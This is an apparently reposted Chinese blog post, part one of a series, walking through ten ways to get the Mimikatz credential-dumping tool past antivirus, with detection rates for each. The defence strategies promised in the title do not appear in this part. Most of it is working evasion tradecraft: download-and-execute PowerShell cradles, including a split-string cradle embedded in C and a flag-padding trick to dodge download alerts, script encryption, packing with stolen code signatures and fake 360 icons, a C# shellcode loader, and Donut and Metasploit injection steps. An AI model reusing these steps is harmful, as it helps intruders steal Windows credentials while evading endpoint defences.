【免杀篇】远控免杀专题(68)-Mimikatz的18种免杀姿势及防御策略(上)


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

0x01 前言

0x02 免杀介绍

0x03 mimikatz免杀实践

方法0-原生态mimikatz.exe(VT查杀率55/71)

方法1-加壳+签名+资源替换(VT查杀率9/70)

方法2-Invoke-Mimikatz(VT查杀率39/58)

方法3-使用Out-EncryptedScript加密(VT查杀率0/60)

方法4-使用xencrypt加密(VT查杀率2/59)

方法5-PowerShell嵌入EXE文件(VT查杀率15/58)

方法6-C程序中执行powershell(VT查杀率7/71)

方法7-使用加载器pe_to_shellcode(VT查杀率47/70)

方法8-c#加载shellcode(VT查杀率21/57)

方法9-Donut执行mimikatz(VT查杀率29/71)

方法10-msf加载bin(VT查杀率2/59)

未完,其他方法见Mimikatz的18种免杀姿势及防御策略(下)。


0x01 前言

Mimikatz是法国人Benjamin Delpy编写的一款轻量级的调试工具,理论上可以抓取所有windows系统的明文密码(winxp之前的好像不行),因此在内网渗透过程中应用非常广,属于内网渗透必备工具之一,被很多人称之为密码抓取神器。Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌等诸多功能。由于mimikatz的使用说明网上资料很多,本文主要是介绍一下mimikatz的一些免杀方式。

随着这两年hw行动越来越多,企事业单位也都开始注重内网安全,有预算的会上全套的终端安全、企业版杀软或者EDR,就算没有预算的也会装个360全家桶或者主机卫士之类的,这也导致很多时候你的mimikatz可能都没法拷贝过去或者没有加载执行,拿了台服务器却横向移不动就尴尬了。

之前写了远控免杀系列的文章https://github.com/TideSec/BypassAntiVirus/,学习到一些比较好玩的免杀姿势,又从网上找到了一些针对mimikatz的免杀技巧,于是就有了这篇mimikatz免杀的文章。

本文所用到的相关工具和代码都已经打包:https://github.com/TideSec/BypassAntiVirus/tree/master/tools/

0x02 免杀介绍

在远控免杀专题(1)-基础篇中就已经大体介绍了一些常见的免杀方式,而针对Mimikatz的免杀更多样化,因为Mimiktaz本身是开源的,对源码或者对exe都可以进行免杀处理。本文主要介绍了如下5类免杀方式,共18种免杀方法。

本文虽然是针对Mimiktaz进行免杀,但更多的是想研究学习一下比较通用的exe的免杀方式,比如文中介绍的exe通用加载器、powershell执行exe、白名单加载exe等有几种方法可以适用于任意的exe免杀,如果只是针对mimikatz进行免杀完全没必要这么啰嗦的。

  • 1、源码免杀。在有源码的情况下,可以定位特征码、加花指令、多层跳转、加无效指令、替换api、重写api、API伪调用等等,这部分内容较多略复杂,打算另写一篇进行介绍,本文不多介绍。

  • 2、无源码免杀。在源码不好修改需要对exe进行免杀时,可以加资源、替换资源、加壳、加签名、PE优化、增加节数据等等。本文中的方法1就是这种方式,只不过算是最简单的一种。

  • 3、powershell免杀。因为mimikatz有powershell版或者使用powershell可以加载,所以对powershell的脚本免杀也是一种方式,本文中的方法2-方法6都是对powershell进行处理。

  • 4、加载器分离免杀。加载器就是利用了ShellCode和PE分离的方式来达到免杀的效果,在远控免杀专题中介绍过不少很好用的加载器,不过很多只能加载基于RAW格式或固定格式的shellcode,对exe程序就无能无力了。所以这次针对mimikatz,专门找了几个比较通用的exe加载器,将exe转换成bin文件即可进行加载,没有格式限制,方法7到方法10就是介绍的这类免杀。

  • 5、白名单免杀。白名单主要是使用了rundll32、msbuild、mshta、cscript等多个白名单程序来加载嵌入了mimikatz的jscript脚本,这部分没有太多亮点,和之前写的远控免杀专题白名单篇基本相似。部分白名单加载方法借鉴了R1ngk3y的文章九种姿势运行Mimikatz(https://cloud.tencent.com/developer/article/1171183)。

0x03 mimikatz免杀实践

方法0-原生态mimikatz.exe(VT查杀率55/71)

先测一下原生态的mimikatz在virustotal.com上的查杀率,以此来衡量其他的免杀效果。

可以从https://github.com/gentilkiwi/mimikatz/releases下载最新的mimikatz,最新版本为2.2.0(20200308),我这里都是以64位mimiktaz为例进行测试。

开启360防护时会拦截

virustotal.com上查杀率为55/71。

方法1-加壳+签名+资源替换(VT查杀率9/70)

这里先介绍一种比较常见的pe免杀方法,就是替换资源+加壳+签名,有能力的还可以pe修改,而且mimikatz是开源的,针对源码进行免杀处理效果会更好,这里不多做讨论。

需要几个软件,VMProtect Ultimate 3.4.0加壳软件,下载链接: https://pan.baidu.com/s/1VXaZgZ1YlVQW9P3B_ciChg 提取码: emnq

签名软件https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/sigthief.py

资源替换软件ResHacker:https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip

先替换资源,使用ResHacker打开mimikatz.exe,然后在图标里替换为360图标,version里面文字自己随意更改。

安装vmp加壳软件后,使用vmp进行加壳

使用sigthief.py对上一步生成的exe文件进行签名。sigthief的详细用法可以参考https://github.com/secretsquirrel/SigThief。

然后看看能不能运行,360和火绒都没问题。

VT平台上mimikatz32_360.exe文件查杀率9/70,缺点就是vmp加壳后会变得比较大。

方法2-Invoke-Mimikatz(VT查杀率39/58)

当exe文件执行被拦截时,最常想到的就是使用PowerSploit中的Invoke-Mimikatz.ps1了。它虽然是powershell格式,但由于知名度太高,目前也是被查杀的惨不忍睹了。

可以去PowerSploit下载,也可以下载我打包的:

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1

Invoke-Mimikatz.ps1放在测试机上,本地执行

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\test\Invoke-Mimikatz.ps1;Invoke-Mimikatz"

杀软会行为拦截,Invoke-Mimikatz.ps1脚本也会被查杀。

powershell脚本更方便的是可以进行远程加载

powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz

不过由于raw.githubusercontent.com经常访问受限,所以可能会出现这种提示

所以,最后是把相关代码放在自己的vps上,我就直接放我的内网另外的pc上了。

powershell依旧会被360行为拦截。

对可以尝试直使用下面的bypass方式,来自团队诺言大佬的文章内网渗透-windows持久性后门

powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

不会触发powershell下载行为预警。

virustotal.comInvoke-Mimikatz.ps1脚本查杀率为39/58。

方法3-使用Out-EncryptedScript加密(VT查杀率0/60)

参考https://www.jianshu.com/p/ed5074f8584b

Powersploit中提供的很多工具都是做过加密处理的,同时也提供了一些用来加密处理的脚本,Out-EncryptedScript就是其中之一。

首先在本地对Invoke-Mimikatz.ps1进行加密处理:

先下载Out-EncryptedScript.ps1脚本,下载地址:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1

在自己的电脑上依次执行

powershell.exeImport-Module .\Out-EncryptedScript.ps1Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password tidesec -Salt 123456

默认会生成的evil.ps1文件。其中两个参数:-Password 设置加密的密钥-Salt 随机数,防止被暴力破解

14.png

将加密生成的evil.ps1脚本放在目标机上,执行如下命令:​​​​​​​

powershell.exe
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1")

[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de tidesec 123456
Invoke-Expression $decrypted
Invoke-Mimikatz

evil.ps1文件进行查杀

virustotal.comevil.ps1文件查杀率为0/60。

方法4-使用xencrypt加密(VT查杀率2/59)

该方法主要是使用工具对powershell脚本进行加密并采用Gzip/DEFLATE来绕过杀软。

工具地址https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/xencrypt.ps1

下载Invoke-Mimikatz.ps1

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1

xencrypt.ps1也放在同一目录

在powershell中执行​​​​​​​

Import-Module ./xencrypt.ps1Invoke-Xencrypt -InFile .\Invoke-Mimikatz.ps1 -OutFile mimi.ps1 -Iterations 88

生成mimi.ps1

执行

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\test\mimi.ps1;Invoke-Mimikatz"

virustotal.commimi.ps1文件查杀率为2/59。

方法5-PowerShell嵌入EXE文件(VT查杀率15/58)

这个方法其实只是将exe程序转为字符串,然后嵌入到Invoke-ReflectivePEInjection.ps1中直接执行。参考https://www.freebuf.com/articles/terminal/99631.html

将下面代码保存为Convert-BinaryToString.ps1

function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
   }
   else {
      throw '$ByteArray is $null.';
   }
   Write-Output -InputObject $Base64String
}

执行powershell import-module .\Convert-BinaryToString.ps1 ; Convert-BinaryToString .\mimikatz.exe >>1.txt

下载Invoke-ReflectivePEInjection.ps1,这个是Empire里的,可以使用PEUrl参数。https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1

新建一个payload.ps1,内容如下,需要替换里面1.txt的内容和Invoke-ReflectivePEInjection内容。​​​​​​​

# Your base64 encoded binary
$InputString = '...........'  #上面1.txt的内容
function Invoke-ReflectivePEInjection  #Invoke-ReflectivePEInjection的内容
{
   ......
   ......
   ......
}
# Convert base64 string to byte array
$PEBytes = [System.Convert]::FromBase64String($InputString)
# Run EXE in memory
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

然后在目标机器执行powershell -ExecutionPolicy Bypass -File payload.ps1即可。

打开杀软发现静态查杀都过不了,其实这个也正常,Invoke-ReflectivePEInjection这个知名度太高了。

如果保错`PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)

说明使用32位的powershell才行%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File payload.ps1

virustotal.compayload.ps1文件查杀率为15/58。

方法6-C程序中执行powershell(VT查杀率7/71)

这个执行方式也是比较简单,在C代码里执行powershell。

先借用Invoke-Mimikatz.ps1

powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz

使用c语言的system函数去执行powershell。

#include<stdio.h>

#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz");
return 0;
}

编译为exe文件,达到免杀的目的。但在运行该exe时,会触发360报警。

virustotal.comProject1.exe文件查杀率为7/71。

方法7-使用加载器pe_to_shellcode(VT查杀率47/70)

下载https://github.com/hasherezade/pe_to_shellcode

将mimikatz.exe转化为shellcodepe2shc.exe mimikatz.exe mimi.txt

加载runshc64.exe mimi.txt

virustotal.commimi.txt文件查杀率为47/70,额,看来这个已经被列入黑名单了。

方法8-c#加载shellcode(VT查杀率21/57)

参考`远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58)https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA

先使用上面介绍的pe_to_shellcode方法,把mimikatz.exe转换为mimi.txt

然后使用bin2hex.exe将mimi.txt转换为16进制文件,bin2hex.exe可在这里下载到https://github.com/TideSec/BypassAntiVirus/blob/master/tools/bin2hex.exe

bin2hex.exe --i mimi.txt --o mimi2.txt

29.png

在vs2017中创建C#的Console工程,把mimi2.txt中的16进制放到下面代码中的MsfPayload中。

using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
    public class Program
    {
        public Program()
        {
            RunMSF();
        }
        public static void RunMSF()
        {
            byte[] MsfPayload =  {
0x4D, 0x5A, 0x45, 0x52, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x48, 0x83,
0x41, 0x59, 0x41, 0x58, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0xC2, 0x04, 0x00 };

            IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
            Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
            CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
            Thread.Sleep(2000);
        }
        public static void Main()
        {
        }
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}

编译生成exe文件。

然后使用DotNetToJScript把csharp文件转为js

DotNetToJScript.exe -l=JScript -o=mimikatz.js -c=MSFWrapper.Program ConsoleApp1.exe

使用cscript.exe mimikatz.js进行执行。

virustotal.commimi.txt文件查杀率为21/57。

方法9-Donut执行mimikatz(VT查杀率29/71)

先使用donut把mimiktaz.exe转为bin文件。

donut.exe -f mimikatz.exe -o mimi.bin

将mimi.bin作base64编码并保存在剪贴板,powershell命令如下:​​​​​​​

$filename = "mimi.bin"[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip

把base64编码复制到DonutTest工程中。

编译生成exe。

在注入进程时,发现注入到notepad.exe中无法执行,但注入到powershell中可以执行。

但是发现仍被查杀。

VT查杀率29/71,怎一个惨字了得。

方法10-msf加载bin(VT查杀率2/59)

Donut下载https://github.com/TheWover/donut

下载shellcode_inject.rb代码https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/shellcode_inject.rb

1、首先使用Donut对需要执行的文件进行shellcode生成,这里对mimi进行shellcode生成,生成bin文件,等下会用到。

donut.exe -f mimikatz.exe -a 2 -o mimi.bin

windows下的0.9.3版本的donut没能生成,于是使用了0.9.2版本。

kali下的0.9.3可正常使用。

2、将上面的shellcode_inject.rb放入/opt/metasploit-framework/embedded/framework/modules/post/windows/manage下(实际路径可能不同,也就是metasploit-framework的上级路径,根据实际情况调整),然后进入msf,reload_all同时载入所有模块。

kali里是在目录/usr/share/metasploit-framework/modules/post/windows/manage/

mac下是在/opt/metasploit-framework/embedded/framework/modules/post/windows/manage

3、使用之前载入的shellcode_inject注入模块,这里是获取session后的操作了,session先自己上线再进行以下操作​​​​​​​

use post/windows/manage/shellcode_injectset session 2set shellcode /tmp/payload.binrun

最后成功加载了mimi,使用shellcode注入执行,有更强的隐蔽性。

VT平台上mimi.bin文件查杀率2/59,卡巴斯基这都能查杀...

未完,其他方法见Mimikatz的18种免杀姿势及防御策略(下)。


虽然我们生活在阴沟里,但依然有人仰望星空!


猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/106118488